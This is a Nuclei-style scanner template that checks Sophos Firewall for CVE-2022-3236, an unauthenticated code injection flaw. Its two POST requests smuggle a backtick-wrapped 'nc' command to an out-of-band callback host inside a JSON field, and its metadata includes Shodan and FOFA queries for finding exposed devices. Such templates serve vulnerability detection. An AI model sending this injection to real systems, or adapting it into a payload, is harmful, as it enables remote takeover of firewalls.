id: CVE-2022-3236

info:
  name: Sophos Firewall <= 19.0 MR1 - Remote Code Execution
  author: daffainfo
  severity: critical
  description: |
    Sophos Firewall version v19.0 MR1 and older is vulnerable to code injection in the User Portal and Webadmin, allowing a remote unauthenticated attacker to execute arbitrary code.
  impact: |
    Remote attackers can execute arbitrary code on the system, potentially leading to full system compromise.
  remediation: |
    Update to the latest version of Sophos Firewall.
  reference:
    - https://www.thezdi.com/blog/2022/10/19/cve-2022-3236-sophos-firewall-user-portal-and-web-admin-code-injection
    - https://nvd.nist.gov/vuln/detail/cve-2022-3236
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-3236
    cwe-id: CWE-94
    epss-score: 0.92841
    epss-percentile: 0.99772
    cpe: cpe:2.3:a:sophos:firewall:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sophos
    product: firewall
    shodan-query: http.title:"Sophos"
    fofa-query: title="sophos"
  tags: cve,cve2022,sophos,firewall,rce,intrusive,oast,kev,vkev

flow: http(1) || http(2)

http:
  - raw:
      - |
        POST /userportal/Controller HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        mode=451&json=%7b%22username%22%3a%22admin%22%2c%22password%22%3a%22x%22%2c%22languageid%22%3a%221%22%2c%22browser%22%3a%22Firefox_91%22%2c%22_discriminator%22%3a%7b%22curvalue%22%3a%22%3b%60nc%20{{interactsh-url}}%2080%60%22%7d%2c%22value%22%3a%22curvalue%22%7d&__RequestType=ajax&t=1710331582506

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(content_type, "text/plain")'
          - 'contains(header, "Server: xxxx")'
          - 'status_code == 200'
          - 'contains(body, "redirectionURL")'
        condition: and

  - raw:
      - |
        POST /webconsole/Controller HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        mode=151&json=%7b%22username%22%3a%22admin%22%2c%22password%22%3a%22x%22%2c%22languageid%22%3a%221%22%2c%22browser%22%3a%22Firefox_91%22%2c%22_discriminator%22%3a%7b%22curvalue%22%3a%22%3b%60nc%20{{interactsh-url}}%2080%60%22%7d%2c%22value%22%3a%22curvalue%22%7d&__RequestType=ajax&t=1710331582506

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(content_type, "text/plain")'
          - 'contains(header, "Server: xxxx")'
          - 'status_code == 200'
          - 'contains(body, "redirectionURL")'
        condition: and
# digest: 4b0a00483046022100c33e0330b9071d3aa5332176cb99019a4b0e9ac297ae672879a33cdf6812ba790221008cbbe32bd607f7e1694c5427b08378f4a62b92c63f8a11f9c839c61ef913da96:922c64590222798bb761d5b6d8e72950